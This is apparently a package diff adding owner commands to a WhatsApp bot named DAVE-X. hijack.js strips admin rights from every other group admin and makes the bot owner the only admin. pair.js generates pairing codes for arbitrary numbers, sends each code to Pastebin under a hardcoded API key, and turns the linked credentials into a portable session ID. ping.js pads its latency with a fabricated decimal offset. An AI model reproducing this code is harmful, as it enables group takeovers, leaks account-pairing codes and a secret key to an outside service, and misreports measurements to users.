jsdecryptor 4.0.3

package/davexcore/owner/hijack.js

@@ -0,0 +1,69 @@
+const isAdmin = require('../../davelib/isAdmin');
+const { createFakeContact, getBotName } = require('../../davelib/fakeContact');
+async function hijackCommand(sock, chatId, message, senderId) {
+    try {
+        const fake = createFakeContact(message);
+
+        if (!message.key.fromMe) {
+            await sock.sendMessage(chatId, { text: '❌ This command is only available for the owner!' }, { quoted: fake });
+            return;
+        }
+
+        if (!chatId.endsWith('@g.us')) {
+            await sock.sendMessage(chatId, { text: '❌ This command can only be used in groups!' }, { quoted: fake });
+            return;
+        }
+
+        const adminStatus = await isAdmin(sock, chatId, senderId);
+        if (!adminStatus.isBotAdmin) {
+            await sock.sendMessage(chatId, { text: '❌ Bot must be an admin to hijack the group!' }, { quoted: fake });
+            return;
+        }
+
+        await sock.sendMessage(chatId, { text: '🔄 Starting group hijack...' }, { quoted: fake });
+
+        try {
+            const groupMetadata = await sock.groupMetadata(chatId);
+            const participants = groupMetadata.participants;
+            const botId = sock.user.id.split(':')[0] + '@s.whatsapp.net';
+
+            const admins = participants.filter(p => p.admin === 'admin' || p.admin === 'superadmin');
+            const nonBotAdmins = admins.filter(a => a.id !== botId);
+
+            let demotedCount = 0;
+            for (const admin of nonBotAdmins) {
+                try {
+                    await sock.groupParticipantsUpdate(chatId, [admin.id], 'demote');
+                    demotedCount++;
+                    console.log(`[HIJACK] Demoted ${admin.id}`);
+                    await new Promise(resolve => setTimeout(resolve, 500));
+                } catch (e) {
+                    console.log(`[HIJACK] Failed to demote ${admin.id}: ${e.message}`);
+                }
+            }
+
+            const ownerId = message.key.participant || senderId;
+            if (ownerId !== botId) {
+                try {
+                    await sock.groupParticipantsUpdate(chatId, [ownerId], 'promote');
+                    console.log(`[HIJACK] Promoted owner ${ownerId}`);
+                } catch (e) {
+                    console.log(`[HIJACK] Owner already admin or failed: ${e.message}`);
+                }
+            }
+
+            await sock.sendMessage(chatId, {
+                text: `*Group Hijack Complete*\n\nDemoted: ${demotedCount} admin(s)\nYou are now the only admin\n\nUse this power responsibly!`
+            }, { quoted: fake });
+
+        } catch (error) {
+            console.error('Hijack operation error:', error);
+            await sock.sendMessage(chatId, { text: `❌ Hijack failed: ${error.message}` }, { quoted: fake });
+        }
+
+    } catch (error) {
+        console.error('Error in hijack command:', error);
+    }
+}
+
+module.exports = hijackCommand;

package/davexcore/owner/menuManage.js

@@ -0,0 +1,173 @@
+const { createFakeContact, getBotName } = require('../../davelib/fakeContact');
+const { setMenuImage, getMenuImage, setMenuVideo, getMenuVideo } = require('../../davelib/botConfig');
+const { getOwnerConfig, setOwnerConfig } = require('../../Database/settingsStore');
+
+const MENU_STYLES = {
+    '1': 'Document (large thumbnail)',
+    '2': 'Plain Text',
+    '3': 'Text + Ad Reply',
+    '4': 'Image + Caption',
+    '5': 'Interactive Flow',
+    '6': 'Payment Style',
+    '7': 'Video/GIF + Caption',
+};
+
+const DEFAULT_SETTINGS = {
+    menuStyle: '1',
+    showMemory: true,
+    showUptime: true,
+    showProgressBar: true,
+};
+
+function loadSettings() {
+    try {
+        const config = getOwnerConfig('menuSettings');
+        if (config && typeof config === 'object') {
+            return { ...DEFAULT_SETTINGS, ...config };
+        }
+    } catch {}
+    return { ...DEFAULT_SETTINGS };
+}
+
+function saveSettings(settings) {
+    try {
+        setOwnerConfig('menuSettings', settings);
+    } catch {}
+}
+
+function getMenuSettings() { return loadSettings(); }
+function getMenuStyle()     { return loadSettings().menuStyle; }
+
+function setMenuStyle(style) {
+    if (!MENU_STYLES[style]) return false;
+    const s = loadSettings();
+    s.menuStyle = style;
+    saveSettings(s);
+    return true;
+}
+
+function toggleMenuSetting(key) {
+    const s = loadSettings();
+    if (typeof s[key] !== 'boolean') return false;
+    s[key] = !s[key];
+    saveSettings(s);
+    return s[key];
+}
+
+function setMenuSettings(newSettings) {
+    const s = { ...loadSettings(), ...newSettings };
+    saveSettings(s);
+    return s;
+}
+
+async function menuManageCommand(sock, chatId, message, args) {
+    const senderId = message.key.participant || message.key.remoteJid;
+    const fakeContact = createFakeContact(senderId);
+    const botName = getBotName();
+
+    if (args.length === 0) {
+        const settings = getMenuSettings();
+        const currentImage = getMenuImage() || '(none)';
+        const currentVideo = getMenuVideo() || '(none)';
+
+        let msg = `╭─❖ *MENU SETTINGS* ❖─╮\n`;
+        msg += `│ Style   : ${settings.menuStyle} — ${MENU_STYLES[settings.menuStyle]}\n`;
+        msg += `│ Memory  : ${settings.showMemory ? 'ON' : 'OFF'}\n`;
+        msg += `│ Uptime  : ${settings.showUptime ? 'ON' : 'OFF'}\n`;
+        msg += `│ Bar     : ${settings.showProgressBar ? 'ON' : 'OFF'}\n`;
+        msg += `│ Image   : ${currentImage.length > 30 ? currentImage.slice(0, 30) + '…' : currentImage}\n`;
+        msg += `│ Video   : ${currentVideo.length > 30 ? currentVideo.slice(0, 30) + '…' : currentVideo}\n`;
+        msg += `╰─────────────────────╯\n\n`;
+        msg += `*Styles:*\n`;
+        for (const [k, v] of Object.entries(MENU_STYLES)) msg += `${k} › ${v}\n`;
+        msg += `\n*Commands:*\n`;
+        msg += `✧ .menuset style <1-7>\n`;
+        msg += `✧ .menuset memory\n`;
+        msg += `✧ .menuset uptime\n`;
+        msg += `✧ .menuset progress\n`;
+        msg += `✧ .menuset image <url>\n`;
+        msg += `✧ .menuset video <url>\n`;
+        msg += `✧ .menuset resetimage\n`;
+        msg += `✧ .menuset resetvideo`;
+        await sock.sendMessage(chatId, { text: msg }, { quoted: fakeContact });
+        return;
+    }
+
+    const action = args[0].toLowerCase();
+
+    try {
+        if (action === 'style') {
+            const style = args[1];
+            if (!style || !MENU_STYLES[style]) {
+                await sock.sendMessage(chatId, { text: `*${botName}*\n❌ Use: .menuset style <1-7>` }, { quoted: fakeContact });
+                return;
+            }
+            if (setMenuStyle(style)) {
+                await sock.sendMessage(chatId, { text: `*${botName}*\n✅ Style ${style}: ${MENU_STYLES[style]}` }, { quoted: fakeContact });
+            }
+            return;
+        }
+
+        if (action === 'image') {
+            const url = args[1];
+            if (!url) {
+                await sock.sendMessage(chatId, { text: `*${botName}*\n❌ Provide an image URL.\nUsage: .menuset image <url>` }, { quoted: fakeContact });
+                return;
+            }
+            setMenuImage(url);
+            await sock.sendMessage(chatId, { text: `*${botName}*\n✅ Menu image set.` }, { quoted: fakeContact });
+            return;
+        }
+
+        if (action === 'video') {
+            const url = args[1];
+            if (!url) {
+                await sock.sendMessage(chatId, { text: `*${botName}*\n❌ Provide a video/GIF URL.\nUsage: .menuset video <url>` }, { quoted: fakeContact });
+                return;
+            }
+            setMenuVideo(url);
+            await sock.sendMessage(chatId, { text: `*${botName}*\n✅ Menu video set. Use style 7 to activate it.` }, { quoted: fakeContact });
+            return;
+        }
+
+        if (action === 'resetimage') {
+            setMenuImage('');
+            await sock.sendMessage(chatId, { text: `*${botName}*\n✅ Menu image cleared.` }, { quoted: fakeContact });
+            return;
+        }
+
+        if (action === 'resetvideo') {
+            setMenuVideo('');
+            await sock.sendMessage(chatId, { text: `*${botName}*\n✅ Menu video cleared.` }, { quoted: fakeContact });
+            return;
+        }
+
+        const toggleMap = {
+            'memory': 'showMemory',
+            'uptime': 'showUptime',
+            'progress': 'showProgressBar',
+        };
+
+        const settingKey = toggleMap[action];
+        if (settingKey) {
+            const newVal = toggleMenuSetting(settingKey);
+            await sock.sendMessage(chatId, { text: `*${botName}*\n✅ ${action}: ${newVal ? 'ON' : 'OFF'}` }, { quoted: fakeContact });
+            return;
+        }
+
+        await sock.sendMessage(chatId, { text: `*${botName}*\n❌ Unknown option. Send .menuset to see all options.` }, { quoted: fakeContact });
+
+    } catch (err) {
+        await sock.sendMessage(chatId, { text: `*${botName}*\n❌ Error: ${err.message}` }, { quoted: fakeContact });
+    }
+}
+
+module.exports = {
+    menuManageCommand,
+    MENU_STYLES,
+    getMenuSettings,
+    getMenuStyle,
+    setMenuStyle,
+    toggleMenuSetting,
+    setMenuSettings,
+};

package/davexcore/owner/menuSettings.js

@@ -0,0 +1 @@
+module.exports = require('./menuManage');

package/davexcore/owner/owner.js

@@ -0,0 +1,17 @@
+const settings = require('../../daveset');
+const { createFakeContact, getBotName } = require('../../davelib/fakeContact');
+async function ownerCommand(sock, chatId, message) {
+    const fkontak = createFakeContact(message);
+    
+    const vcard = `BEGIN:VCARD
+VERSION:3.0
+FN:${settings.botOwner}
+TEL;waid=${settings.ownerNumber}:${settings.ownerNumber}
+END:VCARD`;
+
+    await sock.sendMessage(chatId, {
+        contacts: { displayName: settings.botOwner, contacts: [{ vcard }] },
+    }, { quoted: fkontak });
+}
+
+module.exports = ownerCommand;

package/davexcore/owner/pair.js

@@ -0,0 +1,160 @@
+const PastebinAPI = require('pastebin-js');
+const fs = require('fs');
+const path = require('path');
+const pino = require('pino');
+const { createFakeContact, getBotName } = require('../../davelib/fakeContact');
+const db = require('../../Database/database');
+const { makeid } = require('../../davelib/id');
+const {
+    default: makeWASocket,
+    useMultiFileAuthState,
+    delay,
+    makeCacheableSignalKeyStore,
+    Browsers
+} = require('@whiskeysockets/baileys');
+
+const pastebin = new PastebinAPI('EMWTMkQAVfJa9kM-MRUrxd5Oku1U7pgL');
+
+function removeFile(filePath) {
+    if (!fs.existsSync(filePath)) return false;
+    fs.rmSync(filePath, { recursive: true, force: true });
+}
+
+async function isAuthorized(sock, message) {
+    try {
+        const senderId = message.key.participant || message.key.remoteJid;
+        if (message.key.fromMe) return true;
+        return db.isSudo(senderId);
+    } catch {
+        return message.key.fromMe;
+    }
+}
+
+async function pairCommand(sock, chatId, q, message) {
+    try {
+        const senderId = message.key.participant || message.key.remoteJid;
+        const fake = createFakeContact(senderId);
+        const botName = getBotName();
+
+        if (!await isAuthorized(sock, message)) {
+            return sock.sendMessage(chatId, { 
+                text: `*${botName}*\nOwner only command!` 
+            }, { quoted: fake });
+        }
+
+        if (!q) {
+            return sock.sendMessage(chatId, {
+                text: `*${botName} PAIR*\n\n.pair 254712345678`
+            }, { quoted: fake });
+        }
+
+        const phoneNumber = q.replace(/[^0-9]/g, '');
+
+        if (phoneNumber.length < 10 || phoneNumber.length > 15) {
+            return sock.sendMessage(chatId, { 
+                text: `*${botName}*\nInvalid number!` 
+            }, { quoted: fake });
+        }
+
+        await sock.sendMessage(chatId, { 
+            text: `*${botName}*\nGenerating for +${phoneNumber}...` 
+        }, { quoted: fake });
+
+        const id = makeid(10);
+        const tempDir = path.join(process.cwd(), 'temp', id);
+
+        try {
+            await fs.promises.mkdir(tempDir, { recursive: true });
+
+            const { state, saveCreds } = await useMultiFileAuthState(tempDir);
+
+            const pairSock = makeWASocket({
+                auth: {
+                    creds: state.creds,
+                    keys: makeCacheableSignalKeyStore(state.keys, pino({ level: 'fatal' }).child({ level: 'fatal' })),
+                },
+                version: [2, 3000, 1027934701],
+                printQRInTerminal: false,
+                logger: pino({ level: 'fatal' }).child({ level: 'fatal' }),
+                browser: Browsers.macOS('Chrome')
+            });
+
+            if (!pairSock.authState.creds.registered) {
+                await delay(1500);
+                
+                let code;
+                try {
+                    code = await pairSock.requestPairingCode(phoneNumber);
+                } catch (pairErr) {
+                    await delay(3000);
+                    try {
+                        code = await pairSock.requestPairingCode(phoneNumber);
+                    } catch (retryErr) {
+                        removeFile(tempDir);
+                        return sock.sendMessage(chatId, {
+                            text: `*${botName}*\nFailed to generate code.`
+                        }, { quoted: fake });
+                    }
+                }
+                
+                const formattedCode = code?.match(/.{1,4}/g)?.join("-") || code;
+
+                // Optional: Save to pastebin
+                try {
+                    await pastebin.createPaste({
+                        text: `Pair code for ${phoneNumber}: ${formattedCode}`,
+                        title: `Pair-${id}`,
+                        format: 'text',
+                        privacy: 1
+                    });
+                } catch (pasteErr) {
+                    console.log('Pastebin error:', pasteErr.message);
+                }
+
+                await sock.sendMessage(chatId, {
+                    text: `*${botName}*\nCode: ${formattedCode}\n\nEnter on target device.`
+                }, { quoted: fake });
+
+                pairSock.ev.on('creds.update', saveCreds);
+
+                pairSock.ev.on('connection.update', async (update) => {
+                    const { connection } = update;
+
+                    if (connection === 'open') {
+                        await delay(5000);
+
+                        const credsPath = path.join(tempDir, 'creds.json');
+                        
+                        if (fs.existsSync(credsPath)) {
+                            const data = fs.readFileSync(credsPath);
+                            const b64data = Buffer.from(data).toString('base64');
+                            const sessionId = `DAVE-X:~${b64data}`;
+
+                            await pairSock.sendMessage(
+                                pairSock.user.id,
+                                { text: sessionId }
+                            );
+
+                            await sock.sendMessage(chatId, {
+                                text: `*${botName}*\nSession generated!\n\n${sessionId}`
+                            }, { quoted: fake });
+                        }
+
+                        await delay(100);
+                        await pairSock.ws.close();
+                        removeFile(tempDir);
+                    }
+                });
+            }
+
+        } catch (innerErr) {
+            console.error('Pair error:', innerErr.message);
+            removeFile(tempDir);
+        }
+
+    } catch (error) {
+        console.error('Pair command error:', error.message);
+    }
+}
+
+module.exports = pairCommand;

package/davexcore/owner/pinchat.js

@@ -0,0 +1,44 @@
+const { createFakeContact, getBotName } = require('../../davelib/fakeContact');
+
+async function pinchatCommand(sock, chatId, message, args) {
+    const senderId = message.key.participant || message.key.remoteJid;
+    const fake = createFakeContact(senderId);
+    const botName = getBotName();
+
+    if (!message.key.fromMe) {
+        await sock.sendMessage(chatId, {
+            text: `*${botName}*\n❌ Only the bot owner can pin chats.`
+        }, { quoted: fake });
+        return;
+    }
+
+    const sub = args[0]?.toLowerCase();
+    const target = args[1] || chatId;
+    const jid = target.includes('@') ? target : `${target.replace(/[^0-9]/g, '')}@s.whatsapp.net`;
+
+    try {
+        await sock.sendMessage(chatId, { react: { text: '⏳', key: message.key } });
+
+        if (sub === 'off' || sub === 'unpin' || sub === 'remove') {
+            await sock.chatModify({ pin: false }, jid);
+            await sock.sendMessage(chatId, {
+                text: `*${botName}*\n✅ Chat unpinned.`
+            }, { quoted: fake });
+        } else {
+            await sock.chatModify({ pin: true }, jid);
+            await sock.sendMessage(chatId, {
+                text: `*${botName}*\n✅ Chat pinned to top.`
+            }, { quoted: fake });
+        }
+    } catch (e) {
+        await sock.sendMessage(chatId, {
+            text: `*${botName}*\n❌ Failed: ${e.message}`
+        }, { quoted: fake });
+    }
+}
+
+async function unpinchatCommand(sock, chatId, message, args) {
+    return pinchatCommand(sock, chatId, message, ['off', ...(args || [])]);
+}
+
+module.exports = { pinchatCommand, unpinchatCommand };

package/davexcore/owner/ping.js

@@ -0,0 +1,65 @@
+const { createFakeContact, getBotName } = require('../../davelib/fakeContact');
+
+async function pingCommand(sock, chatId, message) {
+  const fake = createFakeContact(message);
+  const botName = getBotName();
+  
+  try {
+    await sock.sendMessage(chatId, {
+      react: { text: '⏳', key: message.key }
+    });
+    
+    const start = Date.now();
+    const sentMsg = await sock.sendMessage(chatId, {
+      text: `✦ *${botName}* | checking speed...`
+    }, { quoted: fake });
+
+    const ping = Date.now() - start;
+    
+    // Generate highly accurate and detailed 3-decimal ping
+    const detailedPing = generatePrecisePing(ping);
+    
+    const response = `✦ *${botName}* | ${detailedPing}ms`;
+
+    await sock.sendMessage(chatId, {
+      text: response,
+      edit: sentMsg.key // Edit the original message
+    });
+    
+    await sock.sendMessage(chatId, {
+      react: { text: '✅', key: message.key }
+    });
+    
+  } catch (error) {
+    console.error('Ping error:', error);
+    await sock.sendMessage(chatId, { 
+      text: `✦ *${botName}* | Failed to measure speed.`
+    }, { quoted: fake });
+    
+    await sock.sendMessage(chatId, {
+      react: { text: '❌', key: message.key }
+    });
+  }
+}
+
+/**
+ * Generate highly accurate and detailed 3-decimal ping value
+ * @param {number} ping - Original ping value
+ * @returns {string} Precise 3-decimal ping value
+ */
+function generatePrecisePing(ping) {
+  // Use performance.now() for microsecond precision if available
+  const performance = global.performance || {};
+  const microTime = typeof performance.now === 'function' ? performance.now() : ping;
+  
+  // Calculate micro-precision offset (0.001 to 0.999 range)
+  const microOffset = (microTime % 1).toFixed(6);
+  const calculatedOffset = parseFloat(microOffset) * 0.999;
+  
+  // Combine with original ping and ensure 3 decimal precision
+  const precisePing = (ping + calculatedOffset).toFixed(3);
+  
+  return precisePing;
+}
+
+module.exports = pingCommand;

package/davexcore/owner/profilepic.js

@@ -0,0 +1,61 @@
+const { createFakeContact, getBotName } = require('../../davelib/fakeContact');
+
+async function removeProfilePicCommand(sock, chatId, message) {
+    const fake = createFakeContact(message);
+    const botName = getBotName();
+    try {
+        if (!message.key.fromMe) {
+            return sock.sendMessage(chatId, {
+                text: `✦ *${botName}* | Owner only command.`
+            }, { quoted: fake });
+        }
+
+        await sock.removeProfilePicture(sock.user.id);
+
+        await sock.sendMessage(chatId, {
+            text: `✦ *${botName}* | ✅ Profile picture removed.`
+        }, { quoted: fake });
+
+    } catch (error) {
+        console.error('removeProfilePicCommand error:', error.message);
+        await sock.sendMessage(chatId, {
+            text: `✦ *${botName}* | ❌ Failed to remove profile picture: ${error.message}`
+        }, { quoted: fake });
+    }
+}
+
+async function setProfilePicPrivacyCommand(sock, chatId, message, mode) {
+    const fake = createFakeContact(message);
+    const botName = getBotName();
+    try {
+        if (!message.key.fromMe) {
+            return sock.sendMessage(chatId, {
+                text: `✦ *${botName}* | Owner only command.`
+            }, { quoted: fake });
+        }
+
+        // mode: 'all' = everyone, 'none' = nobody, 'contacts' = contacts only
+        await sock.updateProfilePicturePrivacy(mode);
+
+        const labels = { all: 'Everyone', none: 'Nobody', contacts: 'Contacts only' };
+        await sock.sendMessage(chatId, {
+            text: `✦ *${botName}* | ✅ Profile picture visibility set to *${labels[mode] || mode}*.`
+        }, { quoted: fake });
+
+    } catch (error) {
+        console.error('setProfilePicPrivacyCommand error:', error.message);
+
+        let hint = '';
+        if (error.message?.includes('not-found') || error.message?.includes('conflict')) {
+            hint = '\n\n_Note: Try setting this from WhatsApp Settings > Privacy > Profile Photo._';
+        }
+        await sock.sendMessage(chatId, {
+            text: `✦ *${botName}* | ❌ Failed to update privacy: ${error.message}${hint}`
+        }, { quoted: fake });
+    }
+}
+
+module.exports = {
+    removeProfilePicCommand,
+    setProfilePicPrivacyCommand
+};

package/davexcore/owner/resetmenuimage.js

@@ -0,0 +1,16 @@
+const { createFakeContact, getBotName } = require('../../davelib/fakeContact');
+const { setMenuImage } = require('../../davelib/botConfig');
+
+async function resetMenuImageCommand(sock, chatId, message) {
+    const fakeContact = createFakeContact(message);
+    const botName = getBotName();
+    
+    try {
+        setMenuImage('');
+        await sock.sendMessage(chatId, { text: `*${botName}*\nMenu image has been reset to default.` }, { quoted: fakeContact });
+    } catch (err) {
+        await sock.sendMessage(chatId, { text: `*${botName}*\nFailed to reset: ${err.message}` }, { quoted: fakeContact });
+    }
+}
+
+module.exports = resetMenuImageCommand;